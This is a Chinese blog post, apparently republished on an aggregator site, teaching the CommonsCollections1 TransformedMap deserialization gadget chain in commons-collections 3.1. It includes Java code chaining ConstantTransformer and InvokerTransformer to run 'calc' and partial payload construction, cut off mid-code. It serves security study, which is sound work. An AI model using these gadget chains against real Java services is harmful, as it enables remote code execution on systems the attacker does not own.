[Java反序列化]CommonsCollections1利用链学习(上)

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]CommonsCollections1利用链学习(上)相关的知识,希望对你有一定的参考价值。

前言

终于快入门了呜呜呜,开始学习CommonsCollections1TransformedMap链。

环境

    <dependencies>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>

    </dependencies>

JDK版本应该为8u71之前。

前置知识

其实就是了解CommonsCollections中的几个Transformer。这几个类建议直接看着源码来学习。

Transformer

public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

Transformer是一个接口,根据注释,transform()方法是把输入的对象转换成某个输出对象,而且这个输入对象应该保持不变。

根据英语来翻译理解起来可能又些偏差,个人理解就是这个函数自定义输出了,后面具体分析的时候会感受到这一点。

TransformedMap


/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry  method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
 * 
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

根据注释,用于装饰一个Map对象,转换它添加的对象。

直接看它的decorate()方法:


    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    //-----------------------------------------------------------------------
    /**
     * Constructor that wraps (not copies).
     * <p>
     * If there are any elements already in the collection being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

是个静态方法,里面调用了类的protected构造器。根据注释就可以理解,decorate()方法的第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。为null的话就意味着没有转换。传出的Map是被修饰后的Map

根据:

The Map put methods and Map.Entry setValue method are affected by this class.

可以知道,使用put还有setValue方法的时候,对应的键或者值会作为input参数,调用相应的Transformertransform()方法,该方法返回一个新的对象。(注意这个setValue方法,下文有用)

P神是这样解释的,我觉得比较容易理解:

看一个简单的例子即可理解:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class BasicLearn {
    public static void main(String[] args) {
        test1();
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
    public static void test1(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    }
}

class KeyTransformer implements Transformer{

    @Override
    public Object transform(Object o) {
        System.out.println("KeyTransformer");
        return "key";
    }
}
class ValueTransformer implements Transformer{

    @Override
    public Object transform(Object o) {
        System.out.println("ValueTransformer");
        return "value";
    }
}

ConstantTransformer


/**
 * Transformer implementation that returns the same constant each time.
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ConstantTransformer implements Transformer, Serializable {

比较简单,把这个类的源码看一遍就理解了,是Transformer接口的一个实现。

具体的转换就是,对于input,总是返回一个相同的不变值:


    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }

简单的例子:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class BasicLearn {
    public static void main(String[] args) {
        test2();
    }
    public static void test2(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("feng"));
        outerMap.put("key","value");
        printMap(outerMap);
    }
    public static void printMap(Map map){
        for (Object entry: map.entrySet()){
            System.out.println(((Map.Entry)entry).getKey());
            System.out.println(((Map.Entry)entry).getValue());
        }
    }
}

InvokerTransformer

看到这个类的名字就会想到反射中的方法调用,也确实是这样:


/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {

具体还是看源码,利用反射执行函数:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

具体实例化或者调用getInstance的时候需要传三个参数,联想一下反射中调用方法的流程,就知道需要哪些参数了。第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。

还是看例子,命令执行:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class BasicLearn {
    public static void main(String[] args) {
        test3();
    }
    public static void test3(){
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,
                InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));

        outerMap.put("key",Runtime.getRuntime());
    }
}

ChainedTransformer

最后一个需要了解的类,根据名字多少也能猜到一点。直接看这个类的注释还有构造函数就懂了:


/**
 * Transformer implementation that chains the specified transformers together.
 * <p>
 * The input object is passed to the first transformer. The transformed result
 * is passed to the second transformer and so on.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ChainedTransformer implements Transformer, Serializable {
    
    
    

    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

把一个Transformer[]当入参数传进去,利用这个数组中的Transformer依次处理input,而且注意这个:

The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.

相当于一种链式的传递,前一个Transformer处理的得到的output会当作input给下一个Transformer处理。

理清了这些,很容易想到一个把这些串起来的命令执行:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
        outerMap.put("feng","feng");
    }
}

TransformedMap链分析

了解完前置的知识后,就可以考虑真正的反序列化链了。在上面的命令执行中,最终我们是手动的执行了put()方法来实现了漏洞的触发。在反序列化中,我们需要找到一个可以用的类的readObject()方法,通过这个方法最终可以触发漏洞。

这个类是sun.reflect.annotation.AnnotationInvocationHandle

private final Map<String, Object> memberValues;



    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

readObject方法中,关键的这几行代码:

Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue(

前面提到了,setValue同样可以触发我们的“回调函数”,因此可以触发漏洞。至此链也就理清了,剩下的就是构造POC的细节问题了。

Runtime的问题

在序列化的时候会报无法序列化的错误。原因就在于Runtime类并没有实现Serializable接口,所以无法序列化:

new ConstantTransformer(Runtime.getRuntime()),

这里P神采用了一种迂回的写法,因为Class类是实现了Serializable接口的,而且既然可以链式的调用方法,利用反射即可:

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
     

以上是关于[Java反序列化]CommonsCollections1利用链学习(上)的主要内容,如果未能解决你的问题,请参考以下文章

什么是java的序列化和反序列化?

Java序列化与反序列化

Java序列化与反序列化

Java序列化与反序列化

java 对象序列化与反序列化

Java序列化与反序列化